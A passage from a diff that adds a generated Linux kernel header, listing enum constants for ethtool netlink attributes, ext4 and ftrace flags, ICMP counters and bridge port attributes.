ETHTOOL_A_STATS_GRP_MAX = 9, +}; + +enum { + ETHTOOL_A_STATS_RMON_UNDERSIZE = 0, + ETHTOOL_A_STATS_RMON_OVERSIZE = 1, + ETHTOOL_A_STATS_RMON_FRAG = 2, + ETHTOOL_A_STATS_RMON_JABBER = 3, + __ETHTOOL_A_STATS_RMON_CNT = 4, + ETHTOOL_A_STATS_RMON_MAX = 3, +}; + +enum { + ETHTOOL_A_STATS_UNSPEC = 0, + ETHTOOL_A_STATS_PAD = 1, + ETHTOOL_A_STATS_HEADER = 2, + ETHTOOL_A_STATS_GROUPS = 3, + ETHTOOL_A_STATS_GRP = 4, + ETHTOOL_A_STATS_SRC = 5, + __ETHTOOL_A_STATS_CNT = 6, + ETHTOOL_A_STATS_MAX = 5, +}; + +enum { + ETHTOOL_A_STRINGSETS_UNSPEC = 0, + ETHTOOL_A_STRINGSETS_STRINGSET = 1, + __ETHTOOL_A_STRINGSETS_CNT = 2, + ETHTOOL_A_STRINGSETS_MAX = 1, +}; + +enum { + ETHTOOL_A_STRINGSET_UNSPEC = 0, + ETHTOOL_A_STRINGSET_ID = 1, + ETHTOOL_A_STRINGSET_COUNT = 2, + ETHTOOL_A_STRINGSET_STRINGS = 3, + __ETHTOOL_A_STRINGSET_CNT = 4, + ETHTOOL_A_STRINGSET_MAX = 3, +}; + +enum { + ETHTOOL_A_STRINGS_UNSPEC = 0, + ETHTOOL_A_STRINGS_STRING = 1, + __ETHTOOL_A_STRINGS_CNT = 2, + ETHTOOL_A_STRINGS_MAX = 1, +}; + +enum { + ETHTOOL_A_STRING_UNSPEC = 0, + ETHTOOL_A_STRING_INDEX = 1, + ETHTOOL_A_STRING_VALUE = 2, + __ETHTOOL_A_STRING_CNT = 3, + ETHTOOL_A_STRING_MAX = 2, +}; + +enum { + ETHTOOL_A_STRSET_UNSPEC = 0, + ETHTOOL_A_STRSET_HEADER = 1, + ETHTOOL_A_STRSET_STRINGSETS = 2, + ETHTOOL_A_STRSET_COUNTS_ONLY = 3, + __ETHTOOL_A_STRSET_CNT = 4, + ETHTOOL_A_STRSET_MAX = 3, +}; + +enum { + ETHTOOL_A_TSINFO_UNSPEC = 0, + ETHTOOL_A_TSINFO_HEADER = 1, + ETHTOOL_A_TSINFO_TIMESTAMPING = 2, + ETHTOOL_A_TSINFO_TX_TYPES = 3, + ETHTOOL_A_TSINFO_RX_FILTERS = 4, + ETHTOOL_A_TSINFO_PHC_INDEX = 5, + ETHTOOL_A_TSINFO_STATS = 6, + __ETHTOOL_A_TSINFO_CNT = 7, + ETHTOOL_A_TSINFO_MAX = 6, +}; + +enum { + ETHTOOL_A_TS_STAT_UNSPEC = 0, + ETHTOOL_A_TS_STAT_TX_PKTS = 1, + ETHTOOL_A_TS_STAT_TX_LOST = 2, + ETHTOOL_A_TS_STAT_TX_ERR = 3, + __ETHTOOL_A_TS_STAT_CNT = 4, + ETHTOOL_A_TS_STAT_MAX = 3, +}; + +enum { + ETHTOOL_A_TUNNEL_INFO_UNSPEC = 0, + ETHTOOL_A_TUNNEL_INFO_HEADER = 1, + ETHTOOL_A_TUNNEL_INFO_UDP_PORTS = 2, + __ETHTOOL_A_TUNNEL_INFO_CNT = 3, + ETHTOOL_A_TUNNEL_INFO_MAX = 2, +}; + +enum { + ETHTOOL_A_TUNNEL_UDP_ENTRY_UNSPEC = 0, + ETHTOOL_A_TUNNEL_UDP_ENTRY_PORT = 1, + ETHTOOL_A_TUNNEL_UDP_ENTRY_TYPE = 2, + __ETHTOOL_A_TUNNEL_UDP_ENTRY_CNT = 3, + ETHTOOL_A_TUNNEL_UDP_ENTRY_MAX = 2, +}; + +enum { + ETHTOOL_A_TUNNEL_UDP_TABLE_UNSPEC = 0, + ETHTOOL_A_TUNNEL_UDP_TABLE_SIZE = 1, + ETHTOOL_A_TUNNEL_UDP_TABLE_TYPES = 2, + ETHTOOL_A_TUNNEL_UDP_TABLE_ENTRY = 3, + __ETHTOOL_A_TUNNEL_UDP_TABLE_CNT = 4, + ETHTOOL_A_TUNNEL_UDP_TABLE_MAX = 3, +}; + +enum { + ETHTOOL_A_TUNNEL_UDP_UNSPEC = 0, + ETHTOOL_A_TUNNEL_UDP_TABLE = 1, + __ETHTOOL_A_TUNNEL_UDP_CNT = 2, + ETHTOOL_A_TUNNEL_UDP_MAX = 1, +}; + +enum { + ETHTOOL_A_WOL_UNSPEC = 0, + ETHTOOL_A_WOL_HEADER = 1, + ETHTOOL_A_WOL_MODES = 2, + ETHTOOL_A_WOL_SOPASS = 3, + __ETHTOOL_A_WOL_CNT = 4, + ETHTOOL_A_WOL_MAX = 3, +}; + +enum { + ETHTOOL_MSG_KERNEL_NONE = 0, + ETHTOOL_MSG_STRSET_GET_REPLY = 1, + ETHTOOL_MSG_LINKINFO_GET_REPLY = 2, + ETHTOOL_MSG_LINKINFO_NTF = 3, + ETHTOOL_MSG_LINKMODES_GET_REPLY = 4, + ETHTOOL_MSG_LINKMODES_NTF = 5, + ETHTOOL_MSG_LINKSTATE_GET_REPLY = 6, + ETHTOOL_MSG_DEBUG_GET_REPLY = 7, + ETHTOOL_MSG_DEBUG_NTF = 8, + ETHTOOL_MSG_WOL_GET_REPLY = 9, + ETHTOOL_MSG_WOL_NTF = 10, + ETHTOOL_MSG_FEATURES_GET_REPLY = 11, + ETHTOOL_MSG_FEATURES_SET_REPLY = 12, + ETHTOOL_MSG_FEATURES_NTF = 13, + ETHTOOL_MSG_PRIVFLAGS_GET_REPLY = 14, + ETHTOOL_MSG_PRIVFLAGS_NTF = 15, + ETHTOOL_MSG_RINGS_GET_REPLY = 16, + ETHTOOL_MSG_RINGS_NTF = 17, + ETHTOOL_MSG_CHANNELS_GET_REPLY = 18, + ETHTOOL_MSG_CHANNELS_NTF = 19, + ETHTOOL_MSG_COALESCE_GET_REPLY = 20, + ETHTOOL_MSG_COALESCE_NTF = 21, + ETHTOOL_MSG_PAUSE_GET_REPLY = 22, + ETHTOOL_MSG_PAUSE_NTF = 23, + ETHTOOL_MSG_EEE_GET_REPLY = 24, + ETHTOOL_MSG_EEE_NTF = 25, + ETHTOOL_MSG_TSINFO_GET_REPLY = 26, + ETHTOOL_MSG_CABLE_TEST_NTF = 27, + ETHTOOL_MSG_CABLE_TEST_TDR_NTF = 28, + ETHTOOL_MSG_TUNNEL_INFO_GET_REPLY = 29, + ETHTOOL_MSG_FEC_GET_REPLY = 30, + ETHTOOL_MSG_FEC_NTF = 31, + ETHTOOL_MSG_MODULE_EEPROM_GET_REPLY = 32, + ETHTOOL_MSG_STATS_GET_REPLY = 33, + ETHTOOL_MSG_PHC_VCLOCKS_GET_REPLY = 34, + ETHTOOL_MSG_MODULE_GET_REPLY = 35, + ETHTOOL_MSG_MODULE_NTF = 36, + ETHTOOL_MSG_PSE_GET_REPLY = 37, + ETHTOOL_MSG_RSS_GET_REPLY = 38, + ETHTOOL_MSG_PLCA_GET_CFG_REPLY = 39, + ETHTOOL_MSG_PLCA_GET_STATUS_REPLY = 40, + ETHTOOL_MSG_PLCA_NTF = 41, + ETHTOOL_MSG_MM_GET_REPLY = 42, + ETHTOOL_MSG_MM_NTF = 43, + ETHTOOL_MSG_MODULE_FW_FLASH_NTF = 44, + ETHTOOL_MSG_PHY_GET_REPLY = 45, + ETHTOOL_MSG_PHY_NTF = 46, + __ETHTOOL_MSG_KERNEL_CNT = 47, + ETHTOOL_MSG_KERNEL_MAX = 46, +}; + +enum { + ETHTOOL_STATS_ETH_PHY = 0, + ETHTOOL_STATS_ETH_MAC = 1, + ETHTOOL_STATS_ETH_CTRL = 2, + ETHTOOL_STATS_RMON = 3, + __ETHTOOL_STATS_CNT = 4, +}; + +enum { + ETHTOOL_TCP_DATA_SPLIT_UNKNOWN = 0, + ETHTOOL_TCP_DATA_SPLIT_DISABLED = 1, + ETHTOOL_TCP_DATA_SPLIT_ENABLED = 2, +}; + +enum { + ETHTOOL_UDP_TUNNEL_TYPE_VXLAN = 0, + ETHTOOL_UDP_TUNNEL_TYPE_GENEVE = 1, + ETHTOOL_UDP_TUNNEL_TYPE_VXLAN_GPE = 2, + __ETHTOOL_UDP_TUNNEL_TYPE_CNT = 3, +}; + +enum { + ETH_RSS_HASH_TOP_BIT = 0, + ETH_RSS_HASH_XOR_BIT = 1, + ETH_RSS_HASH_CRC32_BIT = 2, + ETH_RSS_HASH_FUNCS_COUNT = 3, +}; + +enum { + EVENTFS_SAVE_MODE = 65536, + EVENTFS_SAVE_UID = 131072, + EVENTFS_SAVE_GID = 262144, +}; + +enum { + EVENT_FILE_FL_ENABLED = 1, + EVENT_FILE_FL_RECORDED_CMD = 2, + EVENT_FILE_FL_RECORDED_TGID = 4, + EVENT_FILE_FL_FILTERED = 8, + EVENT_FILE_FL_NO_SET_FILTER = 16, + EVENT_FILE_FL_SOFT_MODE = 32, + EVENT_FILE_FL_SOFT_DISABLED = 64, + EVENT_FILE_FL_TRIGGER_MODE = 128, + EVENT_FILE_FL_TRIGGER_COND = 256, + EVENT_FILE_FL_PID_FILTER = 512, + EVENT_FILE_FL_WAS_ENABLED = 1024, + EVENT_FILE_FL_FREED = 2048, +}; + +enum { + EVENT_FILE_FL_ENABLED_BIT = 0, + EVENT_FILE_FL_RECORDED_CMD_BIT = 1, + EVENT_FILE_FL_RECORDED_TGID_BIT = 2, + EVENT_FILE_FL_FILTERED_BIT = 3, + EVENT_FILE_FL_NO_SET_FILTER_BIT = 4, + EVENT_FILE_FL_SOFT_MODE_BIT = 5, + EVENT_FILE_FL_SOFT_DISABLED_BIT = 6, + EVENT_FILE_FL_TRIGGER_MODE_BIT = 7, + EVENT_FILE_FL_TRIGGER_COND_BIT = 8, + EVENT_FILE_FL_PID_FILTER_BIT = 9, + EVENT_FILE_FL_WAS_ENABLED_BIT = 10, + EVENT_FILE_FL_FREED_BIT = 11, +}; + +enum { + EVENT_TRIGGER_FL_PROBE = 1, +}; + +enum { + EXT4_FC_REASON_XATTR = 0, + EXT4_FC_REASON_CROSS_RENAME = 1, + EXT4_FC_REASON_JOURNAL_FLAG_CHANGE = 2, + EXT4_FC_REASON_NOMEM = 3, + EXT4_FC_REASON_SWAP_BOOT = 4, + EXT4_FC_REASON_RESIZE = 5, + EXT4_FC_REASON_RENAME_DIR = 6, + EXT4_FC_REASON_FALLOC_RANGE = 7, + EXT4_FC_REASON_INODE_JOURNAL_DATA = 8, + EXT4_FC_REASON_ENCRYPTED_FILENAME = 9, + EXT4_FC_REASON_MAX = 10, +}; + +enum { + EXT4_FC_STATUS_OK = 0, + EXT4_FC_STATUS_INELIGIBLE = 1, + EXT4_FC_STATUS_SKIPPED = 2, + EXT4_FC_STATUS_FAILED = 3, +}; + +enum { + EXT4_INODE_SECRM = 0, + EXT4_INODE_UNRM = 1, + EXT4_INODE_COMPR = 2, + EXT4_INODE_SYNC = 3, + EXT4_INODE_IMMUTABLE = 4, + EXT4_INODE_APPEND = 5, + EXT4_INODE_NODUMP = 6, + EXT4_INODE_NOATIME = 7, + EXT4_INODE_DIRTY = 8, + EXT4_INODE_COMPRBLK = 9, + EXT4_INODE_NOCOMPR = 10, + EXT4_INODE_ENCRYPT = 11, + EXT4_INODE_INDEX = 12, + EXT4_INODE_IMAGIC = 13, + EXT4_INODE_JOURNAL_DATA = 14, + EXT4_INODE_NOTAIL = 15, + EXT4_INODE_DIRSYNC = 16, + EXT4_INODE_TOPDIR = 17, + EXT4_INODE_HUGE_FILE = 18, + EXT4_INODE_EXTENTS = 19, + EXT4_INODE_VERITY = 20, + EXT4_INODE_EA_INODE = 21, + EXT4_INODE_DAX = 25, + EXT4_INODE_INLINE_DATA = 28, + EXT4_INODE_PROJINHERIT = 29, + EXT4_INODE_CASEFOLD = 30, + EXT4_INODE_RESERVED = 31, +}; + +enum { + EXT4_MF_MNTDIR_SAMPLED = 0, + EXT4_MF_FC_INELIGIBLE = 1, +}; + +enum { + EXT4_STATE_NEW = 0, + EXT4_STATE_XATTR = 1, + EXT4_STATE_NO_EXPAND = 2, + EXT4_STATE_DA_ALLOC_CLOSE = 3, + EXT4_STATE_EXT_MIGRATE = 4, + EXT4_STATE_NEWENTRY = 5, + EXT4_STATE_MAY_INLINE_DATA = 6, + EXT4_STATE_EXT_PRECACHED = 7, + EXT4_STATE_LUSTRE_EA_INODE = 8, + EXT4_STATE_VERITY_IN_PROGRESS = 9, + EXT4_STATE_FC_COMMITTING = 10, + EXT4_STATE_ORPHAN_FILE = 11, +}; + +enum { + EXTENT_BUFFER_UPTODATE = 0, + EXTENT_BUFFER_DIRTY = 1, + EXTENT_BUFFER_CORRUPT = 2, + EXTENT_BUFFER_READAHEAD = 3, + EXTENT_BUFFER_TREE_REF = 4, + EXTENT_BUFFER_STALE = 5, + EXTENT_BUFFER_WRITEBACK = 6, + EXTENT_BUFFER_READ_ERR = 7, + EXTENT_BUFFER_UNMAPPED = 8, + EXTENT_BUFFER_IN_TREE = 9, + EXTENT_BUFFER_WRITE_ERR = 10, + EXTENT_BUFFER_ZONED_ZEROOUT = 11, + EXTENT_BUFFER_READING = 12, +}; + +enum { + EXTRA_REG_NHMEX_M_FILTER = 0, + EXTRA_REG_NHMEX_M_DSP = 1, + EXTRA_REG_NHMEX_M_ISS = 2, + EXTRA_REG_NHMEX_M_MAP = 3, + EXTRA_REG_NHMEX_M_MSC_THR = 4, + EXTRA_REG_NHMEX_M_PGT = 5, + EXTRA_REG_NHMEX_M_PLD = 6, + EXTRA_REG_NHMEX_M_ZDP_CTL_FVC = 7, +}; + +enum { + Enabled = 0, + Magic = 1, +}; + +enum { + FBCON_LOGO_CANSHOW = -1, + FBCON_LOGO_DRAW = -2, + FBCON_LOGO_DONTSHOW = -3, +}; + +enum { + FB_BLANK_UNBLANK = 0, + FB_BLANK_NORMAL = 1, + FB_BLANK_VSYNC_SUSPEND = 2, + FB_BLANK_HSYNC_SUSPEND = 3, + FB_BLANK_POWERDOWN = 4, +}; + +enum { + FDB_NOTIFY_BIT = 1, + FDB_NOTIFY_INACTIVE_BIT = 2, +}; + +enum { + FGRAPH_TYPE_RESERVED = 0, + FGRAPH_TYPE_BITMAP = 1, + FGRAPH_TYPE_DATA = 2, +}; + +enum { + FIB6_NO_SERNUM_CHANGE = 0, +}; + +enum { + FILTER_OTHER = 0, + FILTER_STATIC_STRING = 1, + FILTER_DYN_STRING = 2, + FILTER_RDYN_STRING = 3, + FILTER_PTR_STRING = 4, + FILTER_TRACE_FN = 5, + FILTER_CPUMASK = 6, + FILTER_COMM = 7, + FILTER_CPU = 8, + FILTER_STACKTRACE = 9, +}; + +enum { + FILT_ERR_NONE = 0, + FILT_ERR_INVALID_OP = 1, + FILT_ERR_TOO_MANY_OPEN = 2, + FILT_ERR_TOO_MANY_CLOSE = 3, + FILT_ERR_MISSING_QUOTE = 4, + FILT_ERR_MISSING_BRACE_OPEN = 5, + FILT_ERR_MISSING_BRACE_CLOSE = 6, + FILT_ERR_OPERAND_TOO_LONG = 7, + FILT_ERR_EXPECT_STRING = 8, + FILT_ERR_EXPECT_DIGIT = 9, + FILT_ERR_ILLEGAL_FIELD_OP = 10, + FILT_ERR_FIELD_NOT_FOUND = 11, + FILT_ERR_ILLEGAL_INTVAL = 12, + FILT_ERR_BAD_SUBSYS_FILTER = 13, + FILT_ERR_TOO_MANY_PREDS = 14, + FILT_ERR_INVALID_FILTER = 15, + FILT_ERR_INVALID_CPULIST = 16, + FILT_ERR_IP_FIELD_ONLY = 17, + FILT_ERR_INVALID_VALUE = 18, + FILT_ERR_NO_FUNCTION = 19, + FILT_ERR_ERRNO = 20, + FILT_ERR_NO_FILTER = 21, +}; + +enum { + FLAGS_FILL_FULL = 268435456, + FLAGS_FILL_START = 536870912, + FLAGS_FILL_END = 805306368, +}; + +enum { + FOLL_TOUCH = 65536, + FOLL_TRIED = 131072, + FOLL_REMOTE = 262144, + FOLL_PIN = 524288, + FOLL_FAST_ONLY = 1048576, + FOLL_UNLOCKABLE = 2097152, + FOLL_MADV_POPULATE = 4194304, +}; + +enum { + FOLL_WRITE = 1, + FOLL_GET = 2, + FOLL_DUMP = 4, + FOLL_FORCE = 8, + FOLL_NOWAIT = 16, + FOLL_NOFAULT = 32, + FOLL_HWPOISON = 64, + FOLL_ANON = 128, + FOLL_LONGTERM = 256, + FOLL_SPLIT_PMD = 512, + FOLL_PCI_P2PDMA = 1024, + FOLL_INTERRUPTIBLE = 2048, + FOLL_HONOR_NUMA_FAULT = 4096, +}; + +enum { + FORMAT_HEADER = 1, + FORMAT_FIELD_SEPERATOR = 2, + FORMAT_PRINTFMT = 3, +}; + +enum { + FTRACE_FL_ENABLED = 2147483648, + FTRACE_FL_REGS = 1073741824, + FTRACE_FL_REGS_EN = 536870912, + FTRACE_FL_TRAMP = 268435456, + FTRACE_FL_TRAMP_EN = 134217728, + FTRACE_FL_IPMODIFY = 67108864, + FTRACE_FL_DISABLED = 33554432, + FTRACE_FL_DIRECT = 16777216, + FTRACE_FL_DIRECT_EN = 8388608, + FTRACE_FL_CALL_OPS = 4194304, + FTRACE_FL_CALL_OPS_EN = 2097152, + FTRACE_FL_TOUCHED = 1048576, + FTRACE_FL_MODIFIED = 524288, +}; + +enum { + FTRACE_HASH_FL_MOD = 1, +}; + +enum { + FTRACE_ITER_FILTER = 1, + FTRACE_ITER_NOTRACE = 2, + FTRACE_ITER_PRINTALL = 4, + FTRACE_ITER_DO_PROBES = 8, + FTRACE_ITER_PROBE = 16, + FTRACE_ITER_MOD = 32, + FTRACE_ITER_ENABLED = 64, + FTRACE_ITER_TOUCHED = 128, + FTRACE_ITER_ADDRS = 256, +}; + +enum { + FTRACE_MODIFY_ENABLE_FL = 1, + FTRACE_MODIFY_MAY_SLEEP_FL = 2, +}; + +enum { + FTRACE_OPS_FL_ENABLED = 1, + FTRACE_OPS_FL_DYNAMIC = 2, + FTRACE_OPS_FL_SAVE_REGS = 4, + FTRACE_OPS_FL_SAVE_REGS_IF_SUPPORTED = 8, + FTRACE_OPS_FL_RECURSION = 16, + FTRACE_OPS_FL_STUB = 32, + FTRACE_OPS_FL_INITIALIZED = 64, + FTRACE_OPS_FL_DELETED = 128, + FTRACE_OPS_FL_ADDING = 256, + FTRACE_OPS_FL_REMOVING = 512, + FTRACE_OPS_FL_MODIFYING = 1024, + FTRACE_OPS_FL_ALLOC_TRAMP = 2048, + FTRACE_OPS_FL_IPMODIFY = 4096, + FTRACE_OPS_FL_PID = 8192, + FTRACE_OPS_FL_RCU = 16384, + FTRACE_OPS_FL_TRACE_ARRAY = 32768, + FTRACE_OPS_FL_PERMANENT = 65536, + FTRACE_OPS_FL_DIRECT = 131072, + FTRACE_OPS_FL_SUBOP = 262144, +}; + +enum { + FTRACE_UPDATE_CALLS = 1, + FTRACE_DISABLE_CALLS = 2, + FTRACE_UPDATE_TRACE_FUNC = 4, + FTRACE_START_FUNC_RET = 8, + FTRACE_STOP_FUNC_RET = 16, + FTRACE_MAY_SLEEP = 32, +}; + +enum { + FTRACE_UPDATE_IGNORE = 0, + FTRACE_UPDATE_MAKE_CALL = 1, + FTRACE_UPDATE_MODIFY_CALL = 2, + FTRACE_UPDATE_MAKE_NOP = 3, +}; + +enum { + FUSE_I_ADVISE_RDPLUS = 0, + FUSE_I_INIT_RDPLUS = 1, + FUSE_I_SIZE_UNSTABLE = 2, + FUSE_I_BAD = 3, + FUSE_I_BTIME = 4, + FUSE_I_CACHE_IO_MODE = 5, +}; + +enum { + FUTEX_STATE_OK = 0, + FUTEX_STATE_EXITING = 1, + FUTEX_STATE_DEAD = 2, +}; + +enum { + GATE_INTERRUPT = 14, + GATE_TRAP = 15, + GATE_CALL = 12, + GATE_TASK = 5, +}; + +enum { + GENHD_FL_REMOVABLE = 1, + GENHD_FL_HIDDEN = 2, + GENHD_FL_NO_PART = 4, +}; + +enum { + GP_IDLE = 0, + GP_ENTER = 1, + GP_PASSED = 2, + GP_EXIT = 3, + GP_REPLAY = 4, +}; + +enum { + HIBERNATION_INVALID = 0, + HIBERNATION_PLATFORM = 1, + HIBERNATION_SHUTDOWN = 2, + HIBERNATION_REBOOT = 3, + HIBERNATION_SUSPEND = 4, + HIBERNATION_TEST_RESUME = 5, + __HIBERNATION_AFTER_LAST = 6, +}; + +enum { + HIST_ERR_NONE = 0, + HIST_ERR_DUPLICATE_VAR = 1, + HIST_ERR_VAR_NOT_UNIQUE = 2, + HIST_ERR_TOO_MANY_VARS = 3, + HIST_ERR_MALFORMED_ASSIGNMENT = 4, + HIST_ERR_NAMED_MISMATCH = 5, + HIST_ERR_TRIGGER_EEXIST = 6, + HIST_ERR_TRIGGER_ENOENT_CLEAR = 7, + HIST_ERR_SET_CLOCK_FAIL = 8, + HIST_ERR_BAD_FIELD_MODIFIER = 9, + HIST_ERR_TOO_MANY_SUBEXPR = 10, + HIST_ERR_TIMESTAMP_MISMATCH = 11, + HIST_ERR_TOO_MANY_FIELD_VARS = 12, + HIST_ERR_EVENT_FILE_NOT_FOUND = 13, + HIST_ERR_HIST_NOT_FOUND = 14, + HIST_ERR_HIST_CREATE_FAIL = 15, + HIST_ERR_SYNTH_VAR_NOT_FOUND = 16, + HIST_ERR_SYNTH_EVENT_NOT_FOUND = 17, + HIST_ERR_SYNTH_TYPE_MISMATCH = 18, + HIST_ERR_SYNTH_COUNT_MISMATCH = 19, + HIST_ERR_FIELD_VAR_PARSE_FAIL = 20, + HIST_ERR_VAR_CREATE_FIND_FAIL = 21, + HIST_ERR_ONX_NOT_VAR = 22, + HIST_ERR_ONX_VAR_NOT_FOUND = 23, + HIST_ERR_ONX_VAR_CREATE_FAIL = 24, + HIST_ERR_FIELD_VAR_CREATE_FAIL = 25, + HIST_ERR_TOO_MANY_PARAMS = 26, + HIST_ERR_PARAM_NOT_FOUND = 27, + HIST_ERR_INVALID_PARAM = 28, + HIST_ERR_ACTION_NOT_FOUND = 29, + HIST_ERR_NO_SAVE_PARAMS = 30, + HIST_ERR_TOO_MANY_SAVE_ACTIONS = 31, + HIST_ERR_ACTION_MISMATCH = 32, + HIST_ERR_NO_CLOSING_PAREN = 33, + HIST_ERR_SUBSYS_NOT_FOUND = 34, + HIST_ERR_INVALID_SUBSYS_EVENT = 35, + HIST_ERR_INVALID_REF_KEY = 36, + HIST_ERR_VAR_NOT_FOUND = 37, + HIST_ERR_FIELD_NOT_FOUND = 38, + HIST_ERR_EMPTY_ASSIGNMENT = 39, + HIST_ERR_INVALID_SORT_MODIFIER = 40, + HIST_ERR_EMPTY_SORT_FIELD = 41, + HIST_ERR_TOO_MANY_SORT_FIELDS = 42, + HIST_ERR_INVALID_SORT_FIELD = 43, + HIST_ERR_INVALID_STR_OPERAND = 44, + HIST_ERR_EXPECT_NUMBER = 45, + HIST_ERR_UNARY_MINUS_SUBEXPR = 46, + HIST_ERR_DIVISION_BY_ZERO = 47, + HIST_ERR_NEED_NOHC_VAL = 48, +}; + +enum { + HI_SOFTIRQ = 0, + TIMER_SOFTIRQ = 1, + NET_TX_SOFTIRQ = 2, + NET_RX_SOFTIRQ = 3, + BLOCK_SOFTIRQ = 4, + IRQ_POLL_SOFTIRQ = 5, + TASKLET_SOFTIRQ = 6, + SCHED_SOFTIRQ = 7, + HRTIMER_SOFTIRQ = 8, + RCU_SOFTIRQ = 9, + NR_SOFTIRQS = 10, +}; + +enum { + HP_THREAD_NONE = 0, + HP_THREAD_ACTIVE = 1, + HP_THREAD_PARKED = 2, +}; + +enum { + HUGETLB_SHMFS_INODE = 1, + HUGETLB_ANONHUGE_INODE = 2, +}; + +enum { + HW_BREAKPOINT_EMPTY = 0, + HW_BREAKPOINT_R = 1, + HW_BREAKPOINT_W = 2, + HW_BREAKPOINT_RW = 3, + HW_BREAKPOINT_X = 4, + HW_BREAKPOINT_INVALID = 7, +}; + +enum { + HW_BREAKPOINT_LEN_1 = 1, + HW_BREAKPOINT_LEN_2 = 2, + HW_BREAKPOINT_LEN_3 = 3, + HW_BREAKPOINT_LEN_4 = 4, + HW_BREAKPOINT_LEN_5 = 5, + HW_BREAKPOINT_LEN_6 = 6, + HW_BREAKPOINT_LEN_7 = 7, + HW_BREAKPOINT_LEN_8 = 8, +}; + +enum { + ICMP6_MIB_NUM = 0, + ICMP6_MIB_INMSGS = 1, + ICMP6_MIB_INERRORS = 2, + ICMP6_MIB_OUTMSGS = 3, + ICMP6_MIB_OUTERRORS = 4, + ICMP6_MIB_CSUMERRORS = 5, + ICMP6_MIB_RATELIMITHOST = 6, + __ICMP6_MIB_MAX = 7, +}; + +enum { + ICMP_MIB_NUM = 0, + ICMP_MIB_INMSGS = 1, + ICMP_MIB_INERRORS = 2, + ICMP_MIB_INDESTUNREACHS = 3, + ICMP_MIB_INTIMEEXCDS = 4, + ICMP_MIB_INPARMPROBS = 5, + ICMP_MIB_INSRCQUENCHS = 6, + ICMP_MIB_INREDIRECTS = 7, + ICMP_MIB_INECHOS = 8, + ICMP_MIB_INECHOREPS = 9, + ICMP_MIB_INTIMESTAMPS = 10, + ICMP_MIB_INTIMESTAMPREPS = 11, + ICMP_MIB_INADDRMASKS = 12, + ICMP_MIB_INADDRMASKREPS = 13, + ICMP_MIB_OUTMSGS = 14, + ICMP_MIB_OUTERRORS = 15, + ICMP_MIB_OUTDESTUNREACHS = 16, + ICMP_MIB_OUTTIMEEXCDS = 17, + ICMP_MIB_OUTPARMPROBS = 18, + ICMP_MIB_OUTSRCQUENCHS = 19, + ICMP_MIB_OUTREDIRECTS = 20, + ICMP_MIB_OUTECHOS = 21, + ICMP_MIB_OUTECHOREPS = 22, + ICMP_MIB_OUTTIMESTAMPS = 23, + ICMP_MIB_OUTTIMESTAMPREPS = 24, + ICMP_MIB_OUTADDRMASKS = 25, + ICMP_MIB_OUTADDRMASKREPS = 26, + ICMP_MIB_CSUMERRORS = 27, + ICMP_MIB_RATELIMITGLOBAL = 28, + ICMP_MIB_RATELIMITHOST = 29, + __ICMP_MIB_MAX = 30, +}; + +enum { + ICQ_EXITED = 4, + ICQ_DESTROYED = 8, +}; + +enum { + IDX_MODULE_ID = 0, + IDX_ST_OPS_COMMON_VALUE_ID = 1, +}; + +enum { + IEEE80211_PROBE_FLAG_DIRECTED = 1, + IEEE80211_PROBE_FLAG_MIN_CONTENT = 2, + IEEE80211_PROBE_FLAG_RANDOM_SN = 4, +}; + +enum { + IEEE80211_RX_MSG = 1, + IEEE80211_TX_STATUS_MSG = 2, +}; + +enum { + IFAL_ADDRESS = 1, + IFAL_LABEL = 2, + __IFAL_MAX = 3, +}; + +enum { + IFA_UNSPEC = 0, + IFA_ADDRESS = 1, + IFA_LOCAL = 2, + IFA_LABEL = 3, + IFA_BROADCAST = 4, + IFA_ANYCAST = 5, + IFA_CACHEINFO = 6, + IFA_MULTICAST = 7, + IFA_FLAGS = 8, + IFA_RT_PRIORITY = 9, + IFA_TARGET_NETNSID = 10, + IFA_PROTO = 11, + __IFA_MAX = 12, +}; + +enum { + IFLA_BRIDGE_FLAGS = 0, + IFLA_BRIDGE_MODE = 1, + IFLA_BRIDGE_VLAN_INFO = 2, + IFLA_BRIDGE_VLAN_TUNNEL_INFO = 3, + IFLA_BRIDGE_MRP = 4, + IFLA_BRIDGE_CFM = 5, + IFLA_BRIDGE_MST = 6, + __IFLA_BRIDGE_MAX = 7, +}; + +enum { + IFLA_BRIDGE_VLAN_TUNNEL_UNSPEC = 0, + IFLA_BRIDGE_VLAN_TUNNEL_ID = 1, + IFLA_BRIDGE_VLAN_TUNNEL_VID = 2, + IFLA_BRIDGE_VLAN_TUNNEL_FLAGS = 3, + __IFLA_BRIDGE_VLAN_TUNNEL_MAX = 4, +}; + +enum { + IFLA_BRPORT_UNSPEC = 0, + IFLA_BRPORT_STATE = 1, + IFLA_BRPORT_PRIORITY = 2, + IFLA_BRPORT_COST = 3, + IFLA_BRPORT_MODE = 4, + IFLA_BRPORT_GUARD = 5, + IFLA_BRPORT_PROTECT = 6, + IFLA_BRPORT_FAST_LEAVE = 7, + IFLA_BRPORT_LEARNING = 8, + IFLA_BRPORT_UNICAST_FLOOD = 9, + IFLA_BRPORT_PROXYARP = 10, + IFLA_BRPORT_LEARNING_SYNC = 11, + IFLA_BRPORT_PROXYARP_WIFI = 12, + IFLA_BRPORT_ROOT_ID = 13, + IFLA_BRPORT_BRIDGE_ID = 14, + IFLA_BRPORT_DESIGNATED_PORT = 15, + IFLA_BRPORT_DESIGNATED_COST = 16, + IFLA_BRPORT_ID = 17, + IFLA_BRPORT_NO = 18, + IFLA_BRPORT_TOPOLOGY_CHANGE_ACK = 19, + IFLA_BRPORT_CONFIG_PENDING = 20, + IFLA_BRPORT_MESSAGE_AGE_TIMER = 21, + IFLA_BRPORT_FORWARD_DELAY_TIMER = 22, + IFLA_BRPORT_HOLD_TIMER = 23, + IFLA_BRPORT_FLUSH = 24, + IFLA_BRPORT_MULTICAST_ROUTER = 25, + IFLA_BRPORT_PAD = 26, + IFLA_BRPORT_MCAST_FLOOD = 27, + IFLA_BRPORT_MCAST_TO_UCAST = 28, + IFLA_BRPORT_VLAN_TUNNEL = 29, + IFLA_BRPORT_BCAST_FLOOD = 30, + IFLA_BRPORT_GROUP_FWD_MASK = 31, + IFLA_BRPORT_NEIGH_SUPPRESS = 32, + IFLA_BRPORT_ISOLATED = 33, + IFLA_BRPORT_BACKUP_PORT = 34, + IFLA_BRPORT_MRP_RING_OPEN = 35, + IFLA_BRPORT_MRP_IN_OPEN = 36, + IFLA_BRPORT_MCAST_EHT_HOSTS_LIMIT = 37, + IFLA_BRPORT_MCAST_EHT_HOSTS_CNT = 38, + IFLA_BRPORT_LOCKED = 39, + IFLA_BRPORT_MAB = 40, + IFLA_BRPORT_MCAST_N_GROUPS = 41, + IFLA_BRPORT_MCAST_MAX_GROUPS = 